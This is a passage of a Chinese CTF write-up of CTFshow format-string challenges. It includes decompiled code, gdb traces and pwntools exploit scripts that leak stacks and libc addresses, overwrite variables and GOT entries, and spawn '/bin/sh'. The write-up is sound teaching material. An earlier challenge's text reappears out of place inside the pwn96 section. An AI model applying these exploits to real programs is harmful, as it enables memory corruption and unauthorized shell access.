aaaa0x61616161
daniu now is :0!
$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Very Ez !
    * *************************************
aaaa%7$x
aaaa61616161
daniu now is :0!

我们需要让daniu = 6，现在又有格式化字符串漏洞，我们就可以使用其任意地址写功能将daniu的值修改为6即可获得shell

这里使用pwntools模块中的fmtstr模块直接进行改写：

fmtstr_payload(7,{daniu:6})
"""
该函数的作用是自动生成一段格式化字符串，当程序执行到该字符串时，会将daniu变量的内存地址处的值修改为6，无需手动构造复杂的格式化字符序列（如 %7$n这类写法）

7：表示偏移量，指输入的格式化字符串中，变量的地址在栈上的位置索引为7。
{daniu： 6}：是一个字典参数，表示要执行的写入作：
键 是目标内存地址（通常是一个变量的地址）。daniu
值 是要写入该地址的目标数值。6
"""

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
daniu = 0x804B038
payload = fmtstr_payload(7,{daniu:6})
io.sendline(payload)
io.interactive()

$ python3 exp.py
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Very Ez !
    * *************************************
     \xaca8\xb0\x04\x08
daniu now is :6!
daniu praise you for a good job!
$ ls
ctfshow_flag

pwn92

Hint：可能上一题没太看懂？来看下基础吧

先运行一下程序：

$ chmod +x pwn
$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Look at the difference !
    * *************************************
Here is some example:
Hello CTFshow %
Hello CTFshow!
Num : 114514
Format Strings
           A
           Hello
           A
          Hello!
Strings Format

Enter your format string: rhea
The flag is :rhea

检查保护：

$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

64位保护全开

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  puts("Here is some example:");
  example();
  flagishere();
  return 0;
}

可以看到输出了一些实例，跟进看一下example：

unsigned __int64 example()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Hello CTFshow %%\n");
  puts("Hello CTFshow!");
  printf("Num : %d\n", 114514);
  printf("%s %s\n", "Format", "Strings");
  printf("%12c\n", 65);
  printf("%16s\n", "Hello");
  printf("%12c%n\n", 65, &v1);
  printf("%16s%n\n", "Hello!", &v1);
  printf("%2$s %1$s\n", "Format", "Strings");
  printf("%42c%1$n\n", &v1);
  return __readfsqword(0x28u) ^ v2;
}

然后这里大家可以对照输出的结果来进行查看输出了一些什么东西。

对于题目来讲，我们仅需跟进flagishere函数：

unsigned __int64 flagishere()
{
  FILE *stream; // [rsp+8h] [rbp-68h]
  char format[10]; // [rsp+16h] [rbp-5Ah] BYREF
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v4; // [rsp+68h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  printf("Enter your format string: ");
  __isoc99_scanf("%9s", format);
  printf("The flag is :");
  printf(format, s);
  return __readfsqword(0x28u) ^ v4;
}

这里我们可以看到使用用户输入的格式化字符串将 s 输出，那么我们如果需要获取flag，仅仅需要使用 %s 输出flag字符串即可获取flag【当用户输入的 format 是 "%s"时，程序中执printf(format, s)就等价于直接调用printf("%s", s)，%s会指示读取第二个参数（即 flag 所在的地址）。】

一些常见的转换指示符和长度如下：

指示符	类型	输出
%d	4 byte	整数(Integer)
%u	4 byte	无符号整数(Unsigned Integer)
%x	4 byte	十六进制(Hex)
%s	4 byte	字符串(String)
%c	1 byte	字符(Character)

长度	类型	输出
hh	1 byte	字符(char)
h	2 byte	短整数(short int)
l	4 byte	长整数(long int)
II	8 byte	长长整数(long long int)

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
io.sendline('%s')
io.interactive()

$ python3 exp.py
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Look at the difference !
    * *************************************
Here is some example:
Hello CTFshow %
Hello CTFshow!
Num : 114514
Format Strings
           A
           Hello
           A
          Hello!
Strings Format
                                         \xa4
Enter your format string: The flag is :flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn93

Hint：emmm，再来一道基础原理？

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

64位保护全开

IDA查看main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  menu();
  puts("Enter your choice: ");
  __isoc99_scanf("%d", &v4);
  switch ( v4 )
  {
    case 1:
      func1();
      break;
    case 2:
      func2();
      break;
    case 3:
      func3();
      break;
    case 4:
      func4();
      break;
    case 5:
      func5();
      break;
    case 6:
      nothing_here();
      break;
    case 7:
      exit0();
      break;
    default:
      puts("Invalid choice. Please enter a valid option.");
      break;
  }
  return 0;
}

跟进menu函数：

int menu()
{
  puts("Choose an option:");
  puts("1.Crash the program");
  puts("2.Stack data breaches");
  puts("3.Arbitrary address memory leak");
  puts("4.Stack data override");
  puts("5.Arbitrary address memory override");
  return puts("6. ... ");
}

分别跟进各个函数，给大家演示了一些基本用法。获取flag的地方在case 7 exit0()函数，跟进后发现其实是一个后门函数：

unsigned __int64 exit0()
{
  FILE *stream; // [rsp+8h] [rbp-58h]
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  printf("%s", s);
  return __readfsqword(0x28u) ^ v3;
}

也就是说读取用户输入的时候输入7即可获得flag。

看一下其他的函数吧

; Attributes: bp-based frame

; __int64 func1(void)
public func1
func1 proc near
/*func1 是一个公开可见的函数（public），proc near 表示这是一个近过程（near procedure），即调用该函数时只需要偏移地址而不需要段地址*/
; __unwind {
push    rbp
mov     rbp, rsp
/*这是 x86-64 汇编中函数开始的标准指令序列：
- 保存基址指针（rbp）到栈上
- 将栈指针（rsp）的值赋给基址指针（rbp），建立新的栈帧*/
lea     rdi, aSSSSSSSSSSSSSS ; "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%"...
mov     eax, 0
call    _printf
/*这部分是函数的核心操作：
- lea rdi, aSSSSSSSSSSSSSS：将一个字符串常量的地址加载到 rdi 寄存器。这个字符串看起来是由很多 %s 格式说明符组成的（用于 printf 函数）
- mov eax, 0：将 eax 寄存器清零。在 x86-64 调用约定中，eax 用于指定浮点参数的数量，这里为 0 表示没有浮点参数
- call _printf：调用 printf 函数，输出前面加载的字符串*/
nop
pop     rbp
retn
/*这是函数结束的标准指令序列：
- nop：空操作，可能是编译器为了对齐而插入的
- pop rbp：从栈上恢复之前保存的基址指针
- retn：返回调用者，相当于弹出栈上的返回地址并跳转到该地址*/
; } // starts at A87
func1 endp
/*func1 函数的结束*/

$ ./pwn
Enter your choice:
1
Segmentation fault (core dumped)

“段错误”:程序试图访问不属于它的内存区域，或者对内存进行了非法操作。崩溃发生在 strlen函数内部（__strlen_avx2是 glibc 的优化版 strlen），strlen被调用是因为 printf遇到 %s时，会尝试读取栈上的一个地址并计算其长度，当 printf尝试用这些无效地址调用 strlen时，触发 Segmentation Fault

int __fastcall func2(__int64 a1, int a2, int a3, const void *a4, const void *a5, const void *a6)
{
  return printf("%08x-%07x-%p-%p-%p", a2, a3, a4, a5, a6);
}

格式字符串”%08x-%07x-%p-%p-%p”,定义了输出格式：

%08x：以 8 位十六进制数输出，不足 8 位则前面补 0（对应参数 a2）
%07x：以 7 位十六进制数输出，不足 7 位则前面补 0（对应参数 a3）
%p：以指针格式（通常是十六进制）输出内存地址（分别对应 a4、a5、a6）

gdb 调试看详细信息

gdb pwn进入调试,b func2打断点,r运行,输入 2,n步进至 printf 函数处

 RAX  0
 RBX  0x7ffc48c971f8 —▸ 0x7ffc48c986f6 ◂— '/CTFshow_pwn/pwn'
 RCX  0
 RDX  0xfffffffffffff7f2
 RDI  0x6525b9c01381 ◂— and eax, 0x2d783830 /* '%08x-%07x-%p-%p-%p' */
 RSI  2
 R8   0xa
 R9   0
 R10  0x7439560a0fc0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
 R11  0x7439560f28e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
 R12  1
 R13  0
 R14  0
 R15  0x74395614c000 (_rtld_global) —▸ 0x74395614d2e0 —▸ 0x6525b9c00000 ◂— jg 0x6525b9c00047
 RBP  0x7ffc48c970b0 —▸ 0x7ffc48c970d0 —▸ 0x7ffc48c97170 —▸ 0x7ffc48c971d0 ◂— 0
 RSP  0x7ffc48c970b0 —▸ 0x7ffc48c970d0 —▸ 0x7ffc48c97170 —▸ 0x7ffc48c971d0 ◂— 0
*RIP  0x6525b9c00aaf (func2+16) ◂— call printf@plt

RDI  0x6525b9c01381 ◂— '%08x-%07x-%p-%p-%p'  ; printf的第1个参数：格式字符串
RSI  2                                       ; printf的第2个参数：对应%08x（即a2）
RDX  0xfffffffffffff7f2                      ; printf的第3个参数：对应%07x（即a3）
RCX  0                                       ; printf的第4个参数：对应第一个%p（即a4）
R8   0xa                                     ; printf的第5个参数：对应第二个%p（即a5）
R9   0                                       ; printf的第6个参数：对应第三个%p（即a6）

程序实际输出与调试对应验证：

$ ./pwn
Enter your choice:
2
00000002-fffff7f2-(nil)-0xa-(nil)(pip_venv)

; Attributes: bp-based frame

; __int64 func3(void)
public func3
func3 proc near
; __unwind {
push    rbp
mov     rbp, rsp
lea     rdi, aAaaaPPPPPPPPPP ; "AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%"...
mov     eax, 0
call    _printf
/*lea rdi, aAaaaPPPPPPPPPP：lea 指令将格式字符串的内存地址加载到 rdi 寄存器。根据注释，该字符串是 "AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%"...，包含固定前缀 "AAAA." 和大量 %p 格式符（用于输出指针地址）。
mov eax, 0：在 x86-64 调用约定中，eax 寄存器用于告知被调用函数（这里是 printf）传递了多少个浮点参数。此处为 0，表示没有浮点参数。
call _printf：调用 C 标准库的 printf 函数，输出上述格式字符串。*/
nop
pop     rbp
retn
; } // starts at AB7
func3 endp

$ ./pwn
Enter your choice:
3
AAAA.0x3.0xfffffffffffff7fe.(nil).0xa.(nil).0x7fffa2218160.0x616f63000cf0.0x3a2218240.0xd8f9c09f22b8af00.0x7fffa2218200.0x707d328b51ca.0x7fffa22181b0

 RAX  0
 RBX  0x7ffe0cc74f38 —▸ 0x7ffe0cc766f6 ◂— '/CTFshow_pwn/pwn'
 RCX  0
 RDX  0xfffffffffffff7fe
 RDI  0x55c5c9801398 ◂— and eax, 0x70252e70 /* 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p' */
 RSI  3
 R8   0xa
 R9   0
 R10  0x76c4f7472fc0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
 R11  0x76c4f74c48e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
 R12  1
 R13  0
 R14  0
 R15  0x76c4f751e000 (_rtld_global) —▸ 0x76c4f751f2e0 —▸ 0x55c5c9800000 ◂— jg 0x55c5c9800047
 RBP  0x7ffe0cc74df0 —▸ 0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0
 RSP  0x7ffe0cc74df0 —▸ 0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0
*RIP  0x55c5c9800ac7 (func3+16) ◂— call printf@plt

输出完寄存器上的

RSI = 3 → 第一个 %p 输出 0x3
RDX = 0xfffffffffffff7fe → 第二个 %p 输出 0xfffffffffffff7fe
RCX = 0 → 第三个 %p 输出 (nil)（空指针）
R8 = 0xa → 第四个 %p 输出 0xa
R9 = 0 → 第五个 %p 输出 (nil)

还有栈上的

00:0000│ rbp rsp 0x7ffe0cc74df0 —▸ 0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0
01:0008│+008     0x7ffe0cc74df8 —▸ 0x55c5c9800cf0 (main+166) ◂— jmp main+229
02:0010│+010     0x7ffe0cc74e00 ◂— 0x30cc74ef0
03:0018│+018     0x7ffe0cc74e08 ◂— 0x6ad20f725ab27500
04:0020│+020     0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0
05:0028│+028     0x7ffe0cc74e18 —▸ 0x76c4f72eb1ca (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+030     0x7ffe0cc74e20 —▸ 0x7ffe0cc74e60 ◂— 0
07:0038│+038     0x7ffe0cc74e28 —▸ 0x7ffe0cc74f38 —▸ 0x7ffe0cc766f6 ◂— '/CTFshow_pwn/pwn'

unsigned __int64 func4()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("%0134512640d%n\n", 1, &v1);
  return __readfsqword(0x28u) ^ v2;
}

%0134512640d：
- %d 表示输出整数。
- 134512640 是最小字段宽度，表示输出的整数至少要占 134512640 个字符位置。
- 0 表示不足时用 0 填充（而非默认的空格）。
- 实际输出：将参数 1 格式化为一个前面补了 134512639 个 0 的字符串（总长度 134512640）。
%n：
- 这是一个特殊格式符，它不输出内容，而是将当前已输出的字符数写入后面的指针参数（这里是 &v1）。
- 因此，v1 最终会被赋值为 134512640（因为 %0134512640d 刚好输出了这么多字符），再加上 \n 是第 134512641 个字符？注意：%n 统计的是它之前的输出长度，\n 在 %n 之后，因此 v1 的值是 134512640。

v1在rbp-0xc

进 gdb 调试，单步执行到lea，用x/bx $rbp-0xc看初始值

 ► 0x5b856ce00ae6     lea    rax, [rbp - 0xc]             RAX => 0x7ffe77e51dd4 ◂— 0xfd95d60000000000

pwndbg> x/bx $rbp-0xc
0x7ffe77e51dd4:0x00

运行到 printf 再看 v1 的值

pwndbg> x/bx $rbp-0xc
0x7ffe77e51dd4: 0x00

unsigned __int64 func5()
{
  int v1; // [rsp+1h] [rbp-2Fh] BYREF
  __int64 v2; // [rsp+8h] [rbp-28h] BYREF
  __int64 v3; // [rsp+10h] [rbp-20h] BYREF
  char Hello_CTFshow_[14]; // [rsp+1Ah] [rbp-16h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  strcpy(Hello_CTFshow_, "Hello CTFshow");
  printf("%s %hhn\n", Hello_CTFshow_, &v1);
  printf("%s %hn\n", Hello_CTFshow_, (int *)((char *)&v1 + 1));
  printf("%s %n\n", Hello_CTFshow_, (int *)((char *)&v1 + 3));
  printf("%s %ln\n", Hello_CTFshow_, &v2);
  printf("%s %lln\n", Hello_CTFshow_, &v3);
  return __readfsqword(0x28u) ^ v5;
}

格式符	含义	写入字节数	对应变量类型
`%hhn`	输出计数写入 1 字节内存	1 字节	`char`（或 `int` 强制转换）
`%hn`	输出计数写入 2 字节内存	2 字节	`short`（或 `int` 强制转换）
`%n`	输出计数写入 4 字节内存	4 字节	`int*`
`%ln`	输出计数写入 4/8 字节内存（取决于编译器）	通常 8 字节	`long*`
`%lln`	输出计数写入 8 字节内存	8 字节	`long long` 或 `__int64`

$ ./pwn
Enter your choice:
5
Hello CTFshow
Hello CTFshow
Hello CTFshow
Hello CTFshow
Hello CTFshow

pwn94

Hint：好了，你已经学会1+1=2了，接下来继续加油吧

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位关闭PIE，部分开启RELRO

IDA查看main函数：

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  init();
  logo();
  ctfshow();
}

跟进ctfshow函数：

void __noreturn ctfshow()
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v1; // [esp+6Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  while ( 1 )
  {
    memset(buf, 0, sizeof(buf));
    read(0, buf, 0x64u);
    printf(buf);
  }
}

进入一个循环，然后其中有明显的格式化字符串漏洞[使用printf(buf)而不是安全的printf("%s", buf)]

看到程序中有system函数：

void sys()
{
  system("echo Write here!");
}

还是可以用格式化字符串漏洞任意写的，将printf_got 指针指向的地址改为 system_plt

在printf(),就相当于 system()了，如果我们再发送 “/bin/sh\x00”,作为其参数,就能getshell了。

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Write any address !
    * *************************************
aaaa%p-%p-%p-%p-%p-%p-%p-%p
aaaa0xffce65b8-0x64-0x80486e5-0x10-0xeb28dfe8-0x61616161-0x252d7025-0x70252d70

偏移量为6

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
offset = 6
printf_got = elf.got['printf']
system_plt = elf.plt['system']
payload = fmtstr_payload(offset,{printf_got:system_plt})
io.sendline(payload)
io.recv()
io.sendline(b'/bin/sh\x00')
io.interactive()

$ python3 exp1.py
[+] Starting local process './pwn': pid 156
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn95(ubutu18)

Hint：加大了一点点难度，不过对你来说还是so easy 吧

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

32位关闭PIE，部分开启RELRO

IDA查看main函数，跟进ctfshow：

void __noreturn ctfshow()
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v1; // [esp+6Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  while ( 1 )
  {
    memset(buf, 0, sizeof(buf));
    read(0, buf, 0x64u);
    printf(buf);
    fflush(stdout);
  }
}

基本漏洞跟上一题一样，不同的是没有了system函数

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : This time program no system !
    * *************************************
aaaa%p-%p-%p-%p-%p-%p-%p-%p
aaaa0xfff1d608-0x64-0x80486ba-0x18-0xf3128fe8-0x61616161-0x252d7025-0x70252d70

偏移量6

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

offset = 6

#泄露 printf 的实际地址
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%6$s'
io.send(payload)
printf_addr= u32(io.recvuntil(b'\xf7')[-4:]) # 接收并解析printf的实际地址
print(hex(printf_addr))

libc_base = printf_addr - libc.sym['printf']
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
payload = fmtstr_payload(offset,{printf_got:system_addr})

io.send(payload)
io.send(b'/bin/sh\x00')
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 62
[*] '/PWN/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0xf7ddb520
0xf7d8a000
[*] Switching to interactive mode
\xf6\x83\x04\x08\x90\x1d\xdf\xf7\xb0.\xda\xf7                                                       \xf8                                               d           \xba                          \x01aaa\x11\xa0\x04\x08\x10\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08$ls

pwn96

Hint：先找一下偏移

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位程序，关闭Canary与PIE

IDA查看main函数：

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s_[64]; // [esp+0h] [ebp-90h] BYREF
  char s[64]; // [esp+40h] [ebp-50h] BYREF
  FILE *stream; // [esp+80h] [ebp-10h]
  char *s_1; // [esp+84h] [ebp-Ch]
  int *p_argc; // [esp+88h] [ebp-8h]

  p_argc = &argc;
  setvbuf(stdout, 0, 2, 0);
  s_1 = s_;
  memset(s, 0, sizeof(s));
  memset(s, 0, sizeof(s));
  puts(asc_8048830);
  puts(asc_80488A4);
  puts(asc_8048920);
  puts(asc_80489AC);
  puts(asc_8048A3C);
  puts(asc_8048AC0);
  puts(asc_8048B54);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Format_String                                           ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Flag on the stack!                                      ");
  puts("    * *************************************                           ");
  puts("It's time to learn about format strings!");
  puts("Where is the flag?");
  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s_, 64, stream);
  while ( 1 )
  {
    printf("$ ");
    fgets(s, 64, stdin);
    printf(s);
  }
}

还是明显的格式化字符串漏洞，这里告诉我们flag在栈上，然后通过下面printf去显示flag，那么我们直接泄漏就行了，由于内存是小端存储的，所以我们需要倒序输出。

其实手动尝试一下一下就能出来，简单测试一下：

$ ./pwn
It's time to learn about format strings!
Where is the flag?
$ %p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
0x40-0xeac9b5c0-(nil)-(nil)-0xf63d4e2e-0x67616c66-0x73756a7b-0x65745f74-0x6d5f7473-0x72705f79-0x7365636f-0xa7d73-0x1-0xeacb1720-0x1-(nil)

本地flag格式为 “flag{“ 开头,转换为16进制就是 66 6C 61 67 7B

然后倒序就是 0x67616c66 0x73756a7b,很明显，一眼就看出在哪了，不嫌麻烦的话，手动一个一个去转换也能很快拿到flag，嫌麻烦的话就写个脚本。

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Very Ez !
    * *************************************
aaaa%7$p
aaaa0x61616161
daniu now is :0!
$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Very Ez !
    * *************************************
aaaa%7$x
aaaa61616161
daniu now is :0!

我们需要让daniu = 6，现在又有格式化字符串漏洞，我们就可以使用其任意地址写功能将daniu的值修改为6即可获得shell

这里使用pwntools模块中的fmtstr模块直接进行改写：

fmtstr_payload(7,{daniu:6})
"""
该函数的作用是自动生成一段格式化字符串，当程序执行到该字符串时，会将daniu变量的内存地址处的值修改为6，无需手动构造复杂的格式化字符序列（如 %7$n这类写法）

7：表示偏移量，指输入的格式化字符串中，变量的地址在栈上的位置索引为7。
{daniu： 6}：是一个字典参数，表示要执行的写入作：
键 是目标内存地址（通常是一个变量的地址）。daniu
值 是要写入该地址的目标数值。6
"""

from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show', 28299)
flag = b''  # 初始化为bytes类型
for i in range(6, 6 + 10):  # 读取栈上的数据
    payload = f'%{i}$p'.encode()  # 转换为字节流发送
    io.sendlineafter(b'$ ', payload)
    # 接收返回的十六进制字符串,drop=Trueb：b'0x67616c66\n'→b'0x67616c66'，replace(b'0x', b'')：b'0x67616c66'→b'67616c66'，unhex(...)：将十六进制字符串转换为对应的字节流（bytes 类型）
    addr_str = io.recvuntil(b'\n', drop=True).replace(b'0x', b'')
    # 处理奇数长度的十六进制字符串
    if len(addr_str) % 2 != 0:
        addr_str = b'0' + addr_str  # 补全为偶数长度
    # 转换为字节并反转（小端序转大端序）
    aim = unhex(addr_str)
    flag += aim[::-1]

# 提取并打印flag
flag_str = flag.decode(errors='ignore').strip()
print(f"Flag: {flag_str}")
io.close()

$ python3 exp1.py
[+] Starting local process './pwn': pid 360
Flag: flag{just_test_my_process}
\x01 g7\x01
[*] Stopped process './pwn' (pid 360)

pwn97

Hint：覆写某个值满足某条件好像就可以了

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位关闭PIE，部分开启RELRO

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [esp+10h] [ebp-4Ch] BYREF
  unsigned int v5; // [esp+50h] [ebp-Ch]
  int *p_argc; // [esp+54h] [ebp-8h]

  p_argc = &argc;
  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  puts(asc_8048A64);
  puts(asc_8048AD8);
  puts(asc_8048B54);
  puts(asc_8048BE0);
  puts(asc_8048C70);
  puts(asc_8048CF4);
  puts(asc_8048D88);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Format_String                                           ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Find a way to elevate your privileges!                  ");
  puts("    * *************************************                           ");
  puts("You can use two command('cat /ctfshow_flag' && 'shutdown')");
  putchar(36);
  fgets(s, 64, stdin);
  if ( strstr(s, "shutdown") )
  {
    puts("See you~");
    exit(1);
  }
  if ( !strstr(s, "cat /ctfshow_flag") )
  {
    puts("Here you are:\n");
    printf(s);
  }
  get_flag();
  return 0;
}

可以看到有一个明显的格式化字符串漏洞，跟进get_flag函数：

int get_flag()
{
  if ( !check )
    return puts("Permission denied.");
  puts("Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag");
  return flag();
}

这里对check有一个检查，变量 check 被用作条件判断。如果 check 的值为非零（真值），则会执行

特权升级的消息输出和命令提示，然后调用 flag() 函数。否则，如果 check 的值为零（假值），则

会输出 “Permission denied.” 消息。跟进check：

.bss:0804B03D                 align 10h
.bss:0804B040                 public check
.bss:0804B040 check           dd ?                    ; DATA XREF: get_flag+11↑r
.bss:0804B040 _bss            ends

跟进flag：

int flag()
{
  FILE *stream; // [esp+8h] [ebp-40h]
  char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory");
    exit(0);
  }
  fgets(s, 48, stream);
  printf("%s", s);
  return 0;
}

那么很明显，我们利用格式化字符串漏洞的任意地址写改写check的值即可满足条件。

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Find a way to elevate your privileges!
    * *************************************
You can use two command('cat /ctfshow_flag' && 'shutdown')
$aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Here you are:

aaaa-0x8048fbd-0xf54be5c0-(nil)-(nil)-0x1-0xf5510a20-0xff844e04-(nil)-0xff844f0b-0x2-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025
Permission denied.

偏移量11

from pwn import*
context.log_level = "debug"
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28145)
check = 0x804B040
payload = fmtstr_payload(11, {check:1})
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 50
[*] Switching to interactive mode
[*] Process './pwn' stopped with exit code 0 (pid 50)
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Format_String
    * Site  : https://ctf.show/
    * Hint  : Find a way to elevate your privileges!
    * *************************************
You can use two command('cat /ctfshow_flag' && 'shutdown')
$Here you are:

caa@\xb0\x04\x08
Your privileges have been elevated to 'root'.
#cat /ctfshow_flag
flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn98

Hint：Canary？有没有办法绕过呢？

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位开启Canary，NX，部分开启RELRO

根据题目描述，很容易能猜到这题是要我们通过格式化字符串去泄漏Canary的值从而去绕过栈保护。

IDA查看main函数，跟进ctfshow函数

unsigned int ctfshow()
{
  char s[40]; // [esp+4h] [ebp-34h] BYREF
  unsigned int v2; // [esp+2Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  gets(s);
  printf(s);
  gets(s);
  return __readgsdword(0x14u) ^ v2;
}

很明显的有栈溢出漏洞和格式化字符串漏洞，但是由于开启了Canary，直接溢出的话肯定是不行的，因此我们需要先通过格式化字符串漏洞去泄漏Canary的值，再进一步的利用

